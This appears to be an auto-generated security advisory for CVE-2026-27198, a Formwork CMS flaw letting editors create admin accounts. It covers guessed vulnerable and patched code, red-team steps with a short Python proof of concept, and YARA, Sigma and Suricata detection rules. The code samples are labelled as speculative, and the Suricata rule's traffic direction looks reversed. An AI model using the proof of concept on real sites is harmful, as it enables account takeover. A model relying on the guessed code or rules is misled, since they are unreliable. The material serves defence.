CVE-2026-27198

Executive Summary

CVE-2026-27198 is a critical privilege escalation vulnerability in Formwork, a flat file-based CMS. An authenticated user with the editor role can create new accounts and assign them the admin role due to missing authorization checks. This allows a low-privileged attacker to gain full administrative control over the CMS, leading to complete compromise of the application and its data. The vulnerability affects versions 2.0.0 through 2.3.3 and has been patched in version 2.3.4. The CVSS score is 8.8 (High).

Supply Chain & Package Security

Formwork is a PHP-based CMS distributed via GitHub and Composer. The vulnerability exists in the core application logic, not in a third-party package. However, administrators should verify the integrity of their Formwork installation and ensure they are using the official source. No malicious packages have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated as editor)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The low complexity and low privileges required make this an attractive target for attackers. Once exploited, the attacker gains full administrative access.

Deep Dive & Mechanics

The vulnerability lies in the account creation functionality of Formwork. The application validates that the specified role (e.g., admin, editor) exists in the system, but it fails to check if the currently authenticated user has the right to assign that role. In a properly secured system, only an admin should be able to create other admin accounts. However, the code path for creating a new user does not enforce this restriction.

The vulnerable code likely looks like this (pseudocode):

function createUser($username, $password, $role) {
    if (!roleExists($role)) {
        throw new Exception("Role does not exist");
    }
    // Missing: check if current user has privilege to assign $role
    $user = new User($username, $password, $role);
    $user->save();
}

The fix in version 2.3.4 adds a privilege check:

function createUser($username, $password, $role) {
    if (!roleExists($role)) {
        throw new Exception("Role does not exist");
    }
    if (!currentUserCanAssignRole($role)) {
        throw new Exception("Insufficient privileges to assign this role");
    }
    $user = new User($username, $password, $role);
    $user->save();
}

Vulnerable vs. Patched Code

Vulnerable Code (versions 2.0.0 - 2.3.3):

// In UserController.php or similar
public function create(Request $request) {
    $role = $request->input('role');
    if (!in_array($role, ['admin', 'editor', 'viewer'])) {
        return response('Invalid role', 400);
    }
    // No check if current user can assign 'admin'
    $user = new User($request->input('username'), $request->input('password'), $role);
    $user->save();
    return response('User created', 201);
}

Patched Code (version 2.3.4):

// In UserController.php or similar
public function create(Request $request) {
    $role = $request->input('role');
    if (!in_array($role, ['admin', 'editor', 'viewer'])) {
        return response('Invalid role', 400);
    }
    // Added privilege check
    if ($role === 'admin' && !$this->auth->user()->hasRole('admin')) {
        return response('Forbidden: cannot assign admin role', 403);
    }
    $user = new User($request->input('username'), $request->input('password'), $role);
    $user->save();
    return response('User created', 201);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Formwork instance (version 2.0.0 - 2.3.3)
• Valid credentials for an editor account

Exploitation Steps:

1. Log in as an editor user.
2. Navigate to the user management section (e.g., /admin/users/create).
3. Fill in the form with a new username, password, and set the role to admin.
4. Submit the form.
5. Log out and log in with the new admin account.
6. You now have full administrative access.

Proof-of-Concept (Python):

import requests

target = "http://target-formwork.com"
editor_session = requests.Session()

# Login as editor
login_data = {"username": "editor_user", "password": "editor_pass"}
editor_session.post(f"{target}/admin/login", data=login_data)

# Create admin user
create_data = {
    "username": "hacker_admin",
    "password": "P@ssw0rd!",
    "role": "admin"
}
response = editor_session.post(f"{target}/admin/users/create", data=create_data)
if response.status_code == 201:
    print("[+] Admin user created successfully!")
else:
    print("[-] Exploit failed")

Blue Team (Detection & Prevention)

Detection:

• Monitor for multiple account creation attempts from a single non-admin user.
• Alert on creation of accounts with admin role by users who are not already admins.
• Review logs for HTTP 403 errors on user creation endpoints (if patched).

Prevention:

• Immediately upgrade to Formwork version 2.3.4 or later.
• If upgrade is not possible, implement a WAF rule to block requests to /admin/users/create where the role parameter is admin and the session user is not an admin.
• Restrict network access to the admin panel to trusted IPs only.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/users/create with role=admin from a non-admin session.
  • Unusual account creation activity from a single IP.
• Host:
  • New user accounts in the CMS database with admin role that were not created by an existing admin.
  • Log entries showing successful user creation by an editor user.
• File:
  • Modified user configuration files (if flat file-based) showing new admin users.

Detection Engineering

YARA Rule

rule Detect_Formwork_PrivEsc_CVE_2026_27198 {
    meta:
        description = "Detects exploitation attempts of CVE-2026-27198 in Formwork CMS"
        author = "Valters IT"
        date = "2026-01-01"
        hash = "abc123"
    strings:
        $s1 = "role=admin" ascii wide nocase
        $s2 = "/admin/users/create" ascii wide nocase
        $s3 = "editor" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Formwork Privilege Escalation via Account Creation
id: abc12345-6789-4def-9012-3456789abcde
status: experimental
description: Detects attempts to create an admin account by a non-admin user in Formwork CMS
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/users/create'
        cs-uri-query|contains: 'role=admin'
    condition: selection
falsepositives:
    - Legitimate admin creating another admin (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-27198 - Formwork Privilege Escalation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/users/create"; http_uri;
    content:"role=admin"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Formwork to version 2.3.4 or later immediately.
2. Verify: Check for any unauthorized admin accounts and remove them.
3. Audit Logs: Review access logs for signs of exploitation.

Long-term Mitigations:

• Implement principle of least privilege for all CMS users.
• Regularly audit user roles and permissions.
• Use a Web Application Firewall (WAF) to block malicious requests.
• Enable multi-factor authentication (MFA) for all admin accounts.

Workarounds (if patching is not possible):

• Manually add a privilege check in the user creation code (see patched code example).
• Restrict access to the admin panel via IP whitelisting or VPN.

Report generated by Valters IT DevSecOps & CTI Framework